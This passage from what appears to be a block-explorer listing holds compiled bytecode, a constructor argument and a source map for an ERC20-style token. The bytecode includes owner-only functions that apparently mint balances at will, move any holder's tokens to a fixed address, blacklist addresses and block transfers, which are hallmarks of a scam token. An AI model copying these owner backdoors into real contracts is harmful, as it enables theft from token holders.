e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e9291906125ba565b91505b601180546001600160a01b038085166001600160a01b03199283161790925560108054939092169216919091179055919050565b6000546001600160a01b03163314610ef35760405162461bcd60e51b815260040161094990612522565b6018805460ff1916911515919091179055565b6000546001600160a01b03163314610f305760405162461bcd60e51b815260040161094990612522565b6127108311158015610f4457506127108211155b8015610f5257506127108111155b610f8e5760405162461bcd60e51b815260206004820152600d60248201526c092dcc6dee4e4cac6e840e8c2f609b1b6044820152606401610949565b600692909255600755600855565b6000546001600160a01b03163314610fc65760405162461bcd60e51b815260040161094990612522565b6001600160a01b03166000908152601260205260409020805460ff19166001179055565b6000546001600160a01b031633146110145760405162461bcd60e51b815260040161094990612522565b6001600160a01b03166000908152601260205260409020805460ff19169055565b6000546001600160a01b0316331461105f5760405162461bcd60e51b815260040161094990612522565b601655565b60606005805461098290612557565b6000546001600160a01b0316331461109d5760405162461bcd60e51b815260040161094990612522565b6015805460ff1916911515919091179055565b600033816110be8286611340565b90508381101561111e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610949565b61112b82868684036116fa565b506001949350505050565b60003361112b818585611899565b6000546001600160a01b0316331461116e5760405162461bcd60e51b815260040161094990612522565b601755565b6000546001600160a01b0316331461119d5760405162461bcd60e51b815260040161094990612522565b600081116111aa57600080fd5b80600c54036111eb5760405162461bcd60e51b815260206004820152600d60248201526c4368616e67652076616c75652160981b6044820152606401610949565b600c55565b6000546001600160a01b0316331461121a5760405162461bcd60e51b815260040161094990612522565b6001600160a01b03811661122d57600080fd5b600a546001600160a01b0380831691160361128a5760405162461bcd60e51b815260206004820152601860248201527f54686973206164647265737320616c72656164792073657400000000000000006044820152606401610949565b600a80546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146112d65760405162461bcd60e51b815260040161094990612522565b6001600160a01b03166000908152601360205260409020805460ff19166001179055565b6000546001600160a01b031633146113245760405162461bcd60e51b815260040161094990612522565b6001600160a01b03909116600090815260146020526040902055565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000546001600160a01b031633146113955760405162461bcd60e51b815260040161094990612522565b6001600160a01b0382166000908152600160205260409020546113b99082906125a7565b6001600160a01b0390921660009081526001602052604090209190915550565b6000546001600160a01b031633146114035760405162461bcd60e51b815260040161094990612522565b801515600d60019054906101000a900460ff1615150361142257600080fd5b600d80549115156101000261ff0019909216919091179055565b6000546001600160a01b031633146114665760405162461bcd60e51b815260040161094990612522565b6001600160a01b0381166114cb5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610949565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146115505760405162461bcd60e51b815260040161094990612522565b601880549115156101000261ff0019909216919091179055565b6000546001600160a01b031633146115945760405162461bcd60e51b815260040161094990612522565b6000546001600160a01b03166001600160a01b0316826001600160a01b0316036115ef5760405162461bcd60e51b815260206004820152600c60248201526b2a20a923a2aa1022a92927a960a11b6044820152606401610949565b61160181670de0b6b3a76400006125d7565b6001600160a01b03831660009081526001602052604090205411611671576001600160a01b03808316600090815260016020526040808220829055600b5490921681529081205461165291906125a7565b600b546001600160a01b03166000908152600160205260409020555050565b61168381670de0b6b3a76400006125d7565b6001600160a01b0383166000908152600160205260409020546116a691906125ee565b6001600160a01b0383166000908152600160205260409020556116d181670de0b6b3a76400006125d7565b600b546001600160a01b031660009081526001602052604090205461165291906125a7565b5050565b6001600160a01b03831661175c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610949565b6001600160a01b0382166117bd5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610949565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600061182b8484611340565b9050600019811461189357818110156118865760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610949565b61189384848484036116fa565b50505050565b60006001600160a01b0384166118ff5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610949565b6001600160a01b0383166119615760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610949565b8160000361197c5761197584846000611b3b565b9050610b3e565b601854610100900460ff1615611b1e57600d5460ff16156119a257611975848484611b3b565b30600090815260016020526040902054600c54811080159081906119c95750600d5460ff16155b80156119e257506011546001600160a01b038681169116145b80156119f55750600d54610100900460ff165b15611a1a57600d5462010000900460ff1615611a1157600c5491505b611a1a82611be3565b6001600160a01b038616600090815260016020526040902054611a3e9085906125ee565b6001600160a01b038716600090815260016020908152604080832093909355600e90529081205460ff1680611a8b57506001600160a01b0386166000908152600e602052604090205460ff165b611a9f57611a9a878787611c09565b611aa1565b845b6001600160a01b038716600090815260016020526040902054909150611ac89082906125a7565b6001600160a01b0380881660008181526001602052604090819020939093559151908916906000805160206126ab83398151915290611b0a9085815260200190565b60405180910390a360019350505050610b3e565b611b288483611d6b565b611b33848484611eca565b506001610b3e565b6001600160a01b038316600090815260016020526040812054611b5f9083906125ee565b6001600160a01b038086166000908152600160205260408082209390935590851681522054611b8f9083906125a7565b6001600160a01b0380851660008181526001602052604090819020939093559151908616906000805160206126ab83398151915290611bd19086815260200190565b60405180910390a35060019392505050565b611bec816121a8565b4780156116f657600a546116f6906001600160a01b031682612319565b6001600160a01b0383166000908152600f6020526040812054819060ff16158015611c4d57506001600160a01b0384166000908152600f602052604090205460ff16155b15611c6f57600954600854611c6290856125d7565b611c6c9190612601565b90505b6001600160a01b0385166000908152600f602052604090205460ff1615611cb157600954600654611ca090856125d7565b611caa9190612601565b9050611cef565b6001600160a01b0384166000908152600f602052604090205460ff1615611cef57600954600754611ce290856125d7565b611cec9190612601565b90505b8015611d585730600090815260016020526040902054611d109082906125a7565b30600081815260016020526040908190209290925590516001600160a01b038716906000805160206126ab83398151915290611d4f9085815260200190565b60405180910390a35b611d6281846125ee565b95945050505050565b6000546001600160a01b03838116911614801590611da257506001600160a01b03821660009081526012602052604090205460ff16155b8015611dc757506001600160a01b0382166000908152600f602052604090205460ff16155b156116f6576001600160a01b03821660009081526013602052604090205460ff1615611df257600080fd5b6001600160a01b03821660009081526014602052604090205415611e35576001600160a01b038216600090815260146020526040902054811115611e3557600080fd5b60165415611e4c57601654811115611e4c57600080fd5b60155460ff1615611e875760405162461bcd60e51b815260206004820152600560248201526422b93937b960d91b6044820152606401610949565b60175415611eb6576017546001600160a01b0383166000908152600160205260409020541115611eb657600080fd5b60185460ff16156116f6576116f6826112d6565b6001600160a01b038316600090815260016020526040902054811115611f2a5760405162461bcd60e51b815260206004820152601560248201527456616c756520657863656564732062616c616e636560581b6044820152606401610949565b6000546001600160a01b03848116911614801590611f6157506001600160a01b03831660009081526012602052604090205460ff16155b8015611f7657506001600160a01b0383163014155b1561210d57600d5460ff1615611f9757611f91838383611b3b565b506120da565b30600090815260016020526040902054600c5481108015908190611fbe5750600d5460ff16155b8015611fd757506011546001600160a01b038581169116145b8015611fea5750600d54610100900460ff165b1561200f57600d5462010000900460ff161561200657600c5491505b61200f82611be3565b6001600160a01b0385166000908152600160205260409020546120339084906125ee565b6001600160a01b038616600090815260016020908152604080832093909355600e90529081205460ff168061208057506001600160a01b0385166000908152600e602052604090205460ff165b6120945761208f868686611c09565b612096565b835b6001600160a01b0386166000908152600160205260409020549091506120bd9082906125a7565b6001600160a01b0386166000908152600160205260409020555050505b816001600160a01b0316836001600160a01b03166000805160206126ab8339815191528360405161181291815260200190565b6001600160a01b0383166000908152600160205260409020546121319082906125ee565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546121619082906125a7565b6001600160a01b0380841660008181526001602052604090819020939093559151908516906000805160206126ab833981519152906118129085815260200190565b505050565b600d805460ff1916600117905560408051600280825260608201835260009260208301908036833701905050905030816000815181106121ea576121ea612623565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015612243573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061226791906125ba565b8160018151811061227a5761227a612623565b6001600160a01b0392831660209182029290920101526010546122a091309116846116fa565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac947906122d9908590600090869030904290600401612639565b600060405180830381600087803b1580156122f357600080fd5b505af1158015612307573d6000803e3d6000fd5b5050600d805460ff1916905550505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156121a3573d6000803e3d6000fd5b6001600160a01b038116811461236457600080fd5b50565b60006020828403121561237957600080fd5b8135610b3e8161234f565b600060208083528351808285015260005b818110156123b157858101830151858201604001528201612395565b506000604082860101526040601f19601f8301168501019250505092915050565b600080604083850312156123e557600080fd5b82356123f08161234f565b946020939093013593505050565b8035801515811461240e57600080fd5b919050565b6000806040838503121561242657600080fd5b82356124318161234f565b915061243f602084016123fe565b90509250929050565b60008060006060848603121561245d57600080fd5b83356124688161234f565b925060208401356124788161234f565b929592945050506040919091013590565b60006020828403121561249b57600080fd5b610b3e826123fe565b6000806000606084860312156124b957600080fd5b505081359360208301359350604090920135919050565b6000602082840312156124e257600080fd5b5035919050565b600080604083850312156124fc57600080fd5b82356125078161234f565b915060208301356125178161234f565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600181811c9082168061256b57607f821691505b60208210810361258b57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b80820180821115610a1957610a19612591565b6000602082840312156125cc57600080fd5b8151610b3e8161234f565b8082028115828204841417610a1957610a19612591565b81810381811115610a1957610a19612591565b60008261261e57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156126895784516001600160a01b031683529383019391830191600101612664565b50506001600160a01b0396909616606085015250505060800152939250505056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212200dda413546b5b87ac0eb3ddd773d98a40e1a29c47aa1cce202d3ca1a8dd8817b64736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

-----Decoded View---------------
Arg [0] : _router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d


Deployed Bytecode Sourcemap

11487:20566:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15198:94;;;;;;;;;;-1:-1:-1;15198:94:0;;;;;:::i;:::-;;:::i;:::-;;13328:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16941:226;;;;;;;;;;-1:-1:-1;16941:226:0;;;;;:::i;:::-;;:::i;:::-;;;1440:14:1;;1433:22;1415:41;;1403:2;1388:18;16941:226:0;1275:187:1;31963:20:0;;;;;;;;;;-1:-1:-1;31963:20:0;;;;;;;;15774:184;;;;;;;;;;-1:-1:-1;15774:184:0;;;;;:::i;:::-;;:::i;:::-;;;-1:-1:-1;;;;;2116:32:1;;;2098:51;;2086:2;2071:18;15774:184:0;1952:203:1;12436:41:0;;;;;;;;;;-1:-1:-1;12436:41:0;;;;-1:-1:-1;;;;;12436:41:0;;;25471:206;;;;;;;;;;-1:-1:-1;25471:206:0;;;;;:::i;:::-;;:::i;14448:108::-;;;;;;;;;;-1:-1:-1;14536:12:0;;14448:108;;;2540:25:1;;;2528:2;2513:18;14448:108:0;2394:177:1;31881:18:0;;;;;;;;;;-1:-1:-1;31881:18:0;;;;;;;;12270:44;;;;;;;;;;-1:-1:-1;12270:44:0;;;;;;;;;;;17747:295;;;;;;;;;;-1:-1:-1;17747:295:0;;;;;:::i;:::-;;:::i;27452:172::-;;;;;;;;;;-1:-1:-1;27452:172:0;;;;;:::i;:::-;;:::i;31906:22::-;;;;;;;;;;;;;;;;14290:93;;;;;;;;;;-1:-1:-1;14290:93:0;;14373:2;3364:36:1;;3352:2;3337:18;14290:93:0;3222:184:1;11885:28:0;;;;;;;;;;;;;;;;18451:263;;;;;;;;;;-1:-1:-1;18451:263:0;;;;;:::i;:::-;;:::i;12382:45::-;;;;;;;;;;-1:-1:-1;12382:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;11803:27;;;;;;;;;;;;;;;;12323:50;;;;;;;;;;-1:-1:-1;12323:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;26592:637;;;;;;;;;;-1:-1:-1;26592:637:0;;;;;:::i;:::-;;:::i;15487:89::-;;;;;;;;;;-1:-1:-1;15487:89:0;;;;;:::i;:::-;;:::i;31418:276::-;;;;;;;;;;-1:-1:-1;31418:276:0;;;;;:::i;:::-;;:::i;14770:92::-;;;;;;;;;;-1:-1:-1;14770:92:0;;;;;:::i;:::-;;:::i;14870:96::-;;;;;;;;;;-1:-1:-1;14870:96:0;;;;;:::i;:::-;;:::i;12233:30::-;;;;;;;;;;-1:-1:-1;12233:30:0;;;;;;;;;;;14619:143;;;;;;;;;;-1:-1:-1;14619:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;14736:18:0;14709:7;14736:18;;;:9;:18;;;;;;;14619:143;11955:75;;;;;;;;;;-1:-1:-1;11955:75:0;;;;-1:-1:-1;;;;;11955:75:0;;;31935:21;;;;;;;;;;;;;;;;15584:88;;;;;;;;;;-1:-1:-1;15584:88:0;;;;;:::i;:::-;;:::i;1250:79::-;;;;;;;;;;-1:-1:-1;1288:7:0;1315:6;-1:-1:-1;;;;;1315:6:0;1250:79;;13547:104;;;;;;;;;;;;;:::i;15300:88::-;;;;;;;;;;-1:-1:-1;15300:88:0;;;;;:::i;:::-;;:::i;19217:498::-;;;;;;;;;;-1:-1:-1;19217:498:0;;;;;:::i;:::-;;:::i;16164:218::-;;;;;;;;;;-1:-1:-1;16164:218:0;;;;;:::i;:::-;;:::i;15680:86::-;;;;;;;;;;-1:-1:-1;15680:86:0;;;;;:::i;:::-;;:::i;27237:207::-;;;;;;;;;;-1:-1:-1;27237:207:0;;;;;:::i;:::-;;:::i;32022:27::-;;;;;;;;;;-1:-1:-1;32022:27:0;;;;;;;;;;;27770:244;;;;;;;;;;-1:-1:-1;27770:244:0;;;;;:::i;:::-;;:::i;12484:26::-;;;;;;;;;;-1:-1:-1;12484:26:0;;;;-1:-1:-1;;;;;12484:26:0;;;11844:28;;;;;;;;;;;;;;;;15100:90;;;;;;;;;;-1:-1:-1;15100:90:0;;;;;:::i;:::-;;:::i;14974:118::-;;;;;;;;;;-1:-1:-1;14974:118:0;;;;;:::i;:::-;;:::i;16445:176::-;;;;;;;;;;-1:-1:-1;16445:176:0;;;;;:::i;:::-;;:::i;29661:137::-;;;;;;;;;;-1:-1:-1;29661:137:0;;;;;:::i;:::-;;:::i;27632:130::-;;;;;;;;;;-1:-1:-1;27632:130:0;;;;;:::i;:::-;;:::i;12130:66::-;;;;;;;;;;;;;;;;1464:281;;;;;;;;;;-1:-1:-1;1464:281:0;;;;;:::i;:::-;;:::i;31197:81::-;;;;;;;;;;-1:-1:-1;31197:81:0;;;;;:::i;:::-;;:::i;11920:26::-;;;;;;;;;;;;;;;;28347:486;;;;;;;;;;-1:-1:-1;28347:486:0;;;;;:::i;:::-;;:::i;15198:94::-;1377:6;;-1:-1:-1;;;;;1377:6:0;772:10;1377:22;1369:67;;;;-1:-1:-1;;;1369:67:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;15263:13:0::1;15279:5;15263:13:::0;;;:4:::1;:13;::::0;;;;:21;;-1:-1:-1;;15263:21:0::1;::::0;;15198:94::o;13328:100::-;13382:13;13415:5;13408:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13328:100;:::o;16941:226::-;17049:4;772:10;17105:32;772:10;17121:7;17130:6;17105:8;:32::i;:::-;17155:4;17148:11;;;16941:226;;;;;:::o;15774:184::-;15878:13;1377:6;;-1:-1:-1;;;;;1377:6:0;772:10;1377:22;1369:67;;;;-1:-1:-1;;;1369:67:0;;;;;;;:::i;:::-;-1:-1:-1;15904:15:0::1;:22:::0;;;::::1;;::::0;::::1;-1:-1:-1::0;;15904:22:0;;::::1;::::0;;;::::1;::::0;;15945:5;15774:184::o;25471:206::-;1377:6;;-1:-1:-1;;;;;1377:6:0;772:10;1377:22;1369:67;;;;-1:-1:-1;;;1369:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;25570:27:0;::::1;;::::0;;;:17:::1;:27;::::0;;;;;:35;::::1;;:27;::::0;;::::1;:35;;::::0;25562:62:::1;;;::::0;-1:-1:-1;;;25562:62:0;;5258:2:1;25562:62:0::1;::::0;::::1;5240:21:1::0;5297:2;5277:18;;;5270:30;-1:-1:-1;;;5316:18:1;;;5309:44;5370:18;;25562:62:0::1;5056:338:1::0;25562:62:0::1;-1:-1:-1::0;;;;;25635:27:0;;;::::1;;::::0;;;:17:::1;:27;::::0;;;;:34;;-1:-1:-1;;25635:34:0::1;::::0;::::1;;::::0;;;::::1;::::0;;25471:206::o;17747:295::-;17878:4;772:10;17936:38;17952:4;772:10;17967:6;17936:15;:38::i;:::-;17985:27;17995:4;18001:2;18005:6;17985:9;:27::i;:::-;;18030:4;18023:11;;;17747:295;;;;;;:::o;27452:172::-;1377:6;;-1:-1:-1;;;;;1377:6:0;772:10;1377:22;1369:67;;;;-1:-1:-1;;;1369:67:0;;;;;;;:::i;:::-;27568:4:::1;27539:33;;:25;;;;;;;;;;;:33;;::::0;27531:42:::1;;;::::0;::::1;;27584:25;:32:::0;;;::::1;;::::0;::::1;-1:-1:-1::0;;27584:32:0;;::::1;::::0;;;::::1;::::0;;27452:172::o;18451:263::-;18564:4;772:10;18620:64;772:10;18636:7;18673:10;18645:25;772:10;18636:7;18645:9;:25::i;:::-;:38;;;;:::i;:::-;18620:8;:64::i;26592:637::-;26665:15;1377:6;;-1:-1:-1;;;;;1377:6:0;772:10;1377:22;1369:67;;;;-1:-1:-1;;;1369:67:0;;;;;;;:::i;:::-;26693:35:::1;26750:9;26693:67;;26800:16;-1:-1:-1::0;;;;;26800:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;26782:53:0::1;;26844:4;26851:16;-1:-1:-1::0;;;;;26851:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;26782:93;::::0;-1:-1:-1;;;;;;26782:93:0::1;::::0;;;;;;-1:-1:-1;;;;;6147:15:1;;;26782:93:0::1;::::0;::::1;6129:34:1::0;6199:15;;6179:18;;;6172:43;6064:18;;26782:93:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;26772:103:::0;-1:-1:-1;;;;;;26889:21:0;::::1;26886:211;;26989:16;-1:-1:-1::0;;;;;26989:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;26971:74:0::1;;27054:4;27061:16;-1:-1:-1::0;;;;;27061:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;26971:114;::::0;-1:-1:-1;;;;;;26971:114:0::1;::::0;;;;;;-1:-1:-1;;;;;6147:15:1;;;26971:114:0::1;::::0;::::1;6129:34:1::0;6199:15;;6179:18;;;6172:43;6064:18;;26971:114:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;26961:124;;26886:211;27107:11;:21:::0;;-1:-1:-1;;;;;27107:21:0;;::::1;-1:-1:-1::0;;;;;;27107:21:0;;::::1;;::::0;;;27162:15:::1;:34:::0;;;;;::::1;::::0;::::1;::::0;;;::::1;::::0;;27121:7;26592:637;-1:-1:-1;26592:637:0:o;15487:89::-;1377:6;;-1:-1:-1;;;;;1377:6:0;772:10;1377:22;1369:67;;;;-1:-1:-1;;;1369:67:0;;;;;;;:::i;:::-;15550:8:::1;:18:::0;;-1:-1:-1;;15550:18:0::1;::::0;::::1;;::::0;;;::::1;::::0;;15487:89::o;31418:276::-;1377:6;;-1:-1:-1;;;;;1377:6:0;772:10;1377:22;1369:67;;;;-1:-1:-1;;;1369:67:0;;;;;;;:::i;:::-;31536:5:::1;31525:7;:16;;:37;;;;;31557:5;31545:8;:17;;31525:37;:58;;;;;31578:5;31566:8;:17;;31525:58;31517:84;;;::::0;-1:-1:-1;;;31517:84:0;;6428:2:1;31517:84:0::1;::::0;::::1;6410:21:1::0;6467:2;6447:18;;;6440:30;-1:-1:-1;;;6486:18:1;;;6479:43;6539:18;;31517:84:0::1;6226:337:1::0;31517:84:0::1;31612:6;:16:::0;;;;31639:7:::1;:18:::0;31668:7:::1;:18:::0;31418:276::o;14770:92::-;1377:6;;-1:-1:-1;;;;;1377:6:0;772:10;1377:22;1369:67;;;;-1:-1:-1;;;1369:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;14833:14:0::1;;::::0;;;:5:::1;:14;::::0;;;;:21;;-1:-1:-1;;14833:21:0::1;14850:4;14833:21;::::0;;14770:92::o;14870:96::-;1377:6;;-1:-1:-1;;;;;1377:6:0;772:10;1377:22;1369:67;;;;-1:-1:-1;;;1369:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;14936:14:0::1;14953:5;14936:14:::0;;;:5:::1;:14;::::0;;;;:22;;-1:-1:-1;;14936:22:0::1;::::0;;14870:96::o;15584:88::-;1377:6;;-1:-1:-1;;;;;1377:6:0;772:10;1377:22;1369:67;;;;-1:-1:-1;;;1369:67:0;;;;;;;:::i;:::-;15648:7:::1;:16:::0;15584:88::o;13547:104::-;13603:13;13636:7;13629:14;;;;;:::i;15300:88::-;1377:6;;-1:-1:-1;;;;;1377:6:0;772:10;1377:22;1369:67;;;;-1:-1:-1;;;1369:67:0;;;;;;;:::i;:::-;15364:6:::1;:16:::0;;-1:-1:-1;;15364:16:0::1;::::0;::::1;;::::0;;;::::1;::::0;;15300:88::o;19217:498::-;19335:4;772:10;19335:4;19418:25;772:10;19435:7;19418:9;:25::i;:::-;19391:52;;19496:15;19476:16;:35;;19454:122;;;;-1:-1:-1;;;19454:122:0;;6770:2:1;19454:122:0;;;6752:21:1;6809:2;6789:18;;;6782:30;6848:34;6828:18;;;6821:62;-1:-1:-1;;;6899:18:1;;;6892:35;6944:19;;19454:122:0;6568:401:1;19454:122:0;19612:60;19621:5;19628:7;19656:15;19637:16;:34;19612:8;:60::i;:::-;-1:-1:-1;19703:4:0;;19217:498;-1:-1:-1;;;;19217:498:0:o;16164:218::-;16268:4;772:10;16324:28;772:10;16341:2;16345:6;16324:9;:28::i;15680:86::-;1377:6;;-1:-1:-1;;;;;1377:6:0;772:10;1377:22;1369:67;;;;-1:-1:-1;;;1369:67:0;;;;;;;:::i;:::-;15743:6:::1;:15:::0;15680:86::o;27237:207::-;1377:6;;-1:-1:-1;;;;;1377:6:0;772:10;1377:22;1369:67;;;;-1:-1:-1;;;1369:67:0;;;;;;;:::i;:::-;27331:1:::1;27322:6;:10;27314:19;;;::::0;::::1;;27374:6;27352:18;;:28:::0;27344:54:::1;;;::::0;-1:-1:-1;;;27344:54:0;;7176:2:1;27344:54:0::1;::::0;::::1;7158:21:1::0;7215:2;7195:18;;;7188:30;-1:-1:-1;;;7234:18:1;;;7227:43;7287:18;;27344:54:0::1;6974:337:1::0;27344:54:0::1;27409:18;:27:::0;27237:207::o;27770:244::-;1377:6;;-1:-1:-1;;;;;1377:6:0;772:10;1377:22;1369:67;;;;-1:-1:-1;;;1369:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;27860:25:0;::::1;27852:34;;;::::0;::::1;;27905:15;::::0;-1:-1:-1;;;;;27905:30:0;;::::1;:15:::0;::::1;:30:::0;27897:67:::1;;;::::0;-1:-1:-1;;;27897:67:0;;7518:2:1;27897:67:0::1;::::0;::::1;7500:21:1::0;7557:2;7537:18;;;7530:30;7596:26;7576:18;;;7569:54;7640:18;;27897:67:0::1;7316:348:1::0;27897:67:0::1;27977:15;:29:::0;;-1:-1:-1;;;;;;27977:29:0::1;-1:-1:-1::0;;;;;27977:29:0;;;::::1;::::0;;;::::1;::::0;;27770:244::o;15100:90::-;1377:6;;-1:-1:-1;;;;;1377:6:0;772:10;1377:22;1369:67;;;;-1:-1:-1;;;1369:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;15162:13:0::1;;::::0;;;:4:::1;:13;::::0;;;;:20;;-1:-1:-1;;15162:20:0::1;15178:4;15162:20;::::0;;15100:90::o;14974:118::-;1377:6;;-1:-1:-1;;;;;1377:6:0;772:10;1377:22;1369:67;;;;-1:-1:-1;;;1369:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;15056:19:0;;::::1;;::::0;;;:10:::1;:19;::::0;;;;:28;14974:118::o;16445:176::-;-1:-1:-1;;;;;16586:18:0;;;16559:7;16586:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;16445:176::o;29661:137::-;1377:6;;-1:-1:-1;;;;;1377:6:0;772:10;1377:22;1369:67;;;;-1:-1:-1;;;1369:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;29763:18:0;::::1;;::::0;;;:9:::1;:18;::::0;;;;;:27:::1;::::0;29784:6;;29763:27:::1;:::i;:::-;-1:-1:-1::0;;;;;29742:18:0;;::::1;;::::0;;;:9:::1;:18;::::0;;;;:48;;;;-1:-1:-1;29661:137:0:o;27632:130::-;1377:6;;-1:-1:-1;;;;;1377:6:0;772:10;1377:22;1369:67;;;;-1:-1:-1;;;1369:67:0;;;;;;;:::i;:::-;27720:4:::1;27705:19;;:11;;;;;;;;;;;:19;;::::0;27697:28:::1;;;::::0;::::1;;27736:11;:18:::0;;;::::1;;;;-1:-1:-1::0;;27736:18:0;;::::1;::::0;;;::::1;::::0;;27632:130::o;1464:281::-;1377:6;;-1:-1:-1;;;;;1377:6:0;772:10;1377:22;1369:67;;;;-1:-1:-1;;;1369:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1567:22:0;::::1;1545:110;;;::::0;-1:-1:-1;;;1545:110:0;;7871:2:1;1545:110:0::1;::::0;::::1;7853:21:1::0;7910:2;7890:18;;;7883:30;7949:34;7929:18;;;7922:62;-1:-1:-1;;;8000:18:1;;;7993:36;8046:19;;1545:110:0::1;7669:402:1::0;1545:110:0::1;1692:6;::::0;;1671:38:::1;::::0;-1:-1:-1;;;;;1671:38:0;;::::1;::::0;1692:6;::::1;::::0;1671:38:::1;::::0;::::1;1720:6;:17:::0;;-1:-1:-1;;;;;;1720:17:0::1;-1:-1:-1::0;;;;;1720:17:0;;;::::1;::::0;;;::::1;::::0;;1464:281::o;31197:81::-;1377:6;;-1:-1:-1;;;;;1377:6:0;772:10;1377:22;1369:67;;;;-1:-1:-1;;;1369:67:0;;;;;;;:::i;:::-;31256:5:::1;:14:::0;;;::::1;;;;-1:-1:-1::0;;31256:14:0;;::::1;::::0;;;::::1;::::0;;31197:81::o;28347:486::-;1377:6;;-1:-1:-1;;;;;1377:6:0;772:10;1377:22;1369:67;;;;-1:-1:-1;;;1369:67:0;;;;;;;:::i;:::-;1288:7;1315:6;-1:-1:-1;;;;;1315:6:0;-1:-1:-1;;;;;28435:17:0::1;:6;-1:-1:-1::0;;;;;28435:17:0::1;::::0;28427:42:::1;;;::::0;-1:-1:-1;;;28427:42:0;;8278:2:1;28427:42:0::1;::::0;::::1;8260:21:1::0;8317:2;8297:18;;;8290:30;-1:-1:-1;;;8336:18:1;;;8329:42;8388:18;;28427:42:0::1;8076:336:1::0;28427:42:0::1;28505:17;:6:::0;28514:8:::1;28505:17;:::i;:::-;-1:-1:-1::0;;;;;28484:17:0;::::1;;::::0;;;:9:::1;:17;::::0;;;;;:38:::1;28480:346;;-1:-1:-1::0;;;;;28539:17:0;;::::1;28559:1;28539:17:::0;;;:9:::1;